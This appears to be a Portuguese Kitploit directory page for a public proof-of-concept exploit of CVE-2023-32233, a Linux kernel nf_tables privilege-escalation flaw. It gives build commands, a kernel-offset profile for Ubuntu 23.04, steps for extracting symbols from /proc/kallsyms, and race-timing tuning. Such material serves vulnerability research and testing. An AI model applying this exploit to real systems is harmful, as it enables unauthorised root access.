Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-32233 — CVE-2023-32233: Vulnerabilidade de segurança no kernel Linux | Kitploit
Ferramentas/GitHubGitHub/liuk3r/cve-2023-32233
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Vulnerabilidade de segurança no kernel Linux

Ver Repositório
38278há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Construção e Configuração

As instruções abaixo foram testadas no Ubuntu 23.04 (Lunar Lobster).

GIF 2023-5-16 12-28-46

Instalando Dependências de Compilação

Execute o seguinte comando para instalar as dependências de compilação:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

Compilando o Binário

Execute o seguinte comando para compilar o binário do PoC:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

Atualizando o Perfil

O perfil integrado contém parâmetros específicos para o kernel Linux distribuído em formato binário como os seguintes pacotes do Ubuntu 23.04 (Lunar Lobster):

  • "linux-image-6.2.0-20-generic", versão "6.2.0-20.20", e
  • "linux-modules-6.2.0-20-generic", versão "6.2.0-20.20".

O perfil integrado tem a seguinte aparência:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

Símbolos do Kernel

Etapas opcionais para substituir o perfil integrado ao testar com outros kernels Linux:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

Código de Máquina

Para encontrar a base do kernel, examinamos a imagem nf_tables.ko na memória do kernel. E, especificamente, analisamos o código de máquina da sub-rotina nft_counter_destroy(). Isso significa que o nosso método é sensível ao compilador, bem como às opções de compilação. No entanto, todos os casos usuais podem ser tratados substituindo o perfil integrado.

Por exemplo, o código de máquina da sub-rotina nft_counter_destroy() pode ter a seguinte aparência:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

No caso acima, podemos especificar alguns parâmetros acrescentando as três linhas abaixo ao arquivo de configuração "profile".

Primeiro, redefinimos o offset do dword que precede o displacement de free_percpu:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

onde o valor 5 foi calculado usando a expressão (1e31d - 1e310) - 8.

Como verificação de sanidade, validamos então o dword no offset acima usando a seguinte máscara:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

esperando o seguinte valor:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

Ajuste da Corrida

Explorar a vulnerabilidade exige vencer uma corrida com a thread de trabalho em segundo plano do kernel Linux. O perfil integrado foi ajustado para maximizar a chance de vencer essa corrida em uma ampla gama de microprocessadores Intel, incluindo Sandy Bridge móvel e Comet Lake de desktop. No entanto, alguns microprocessadores exigem ajustes adicionais. Por exemplo, observamos latência aumentada na troca de tarefas no Alder Lake em determinadas configurações, onde pode ser necessário acrescentar a seguinte linha ao "profile":

root@kitploit:~
400                 race_lead_sleep

Medimos probabilidade de 80% ou mais de explorar com sucesso a vulnerabilidade em nossos testes que usaram sistemas bare-metal ociosos.

Recomendações de Teste

Uma vez iniciado o PoC em um sistema vulnerável, ele pode deixar esse sistema em um estado instável, com memória do kernel corrompida. Recomendamos fortemente testar o PoC em um sistema dedicado para evitar possíveis corrupções de dados.

Baixar ferramenta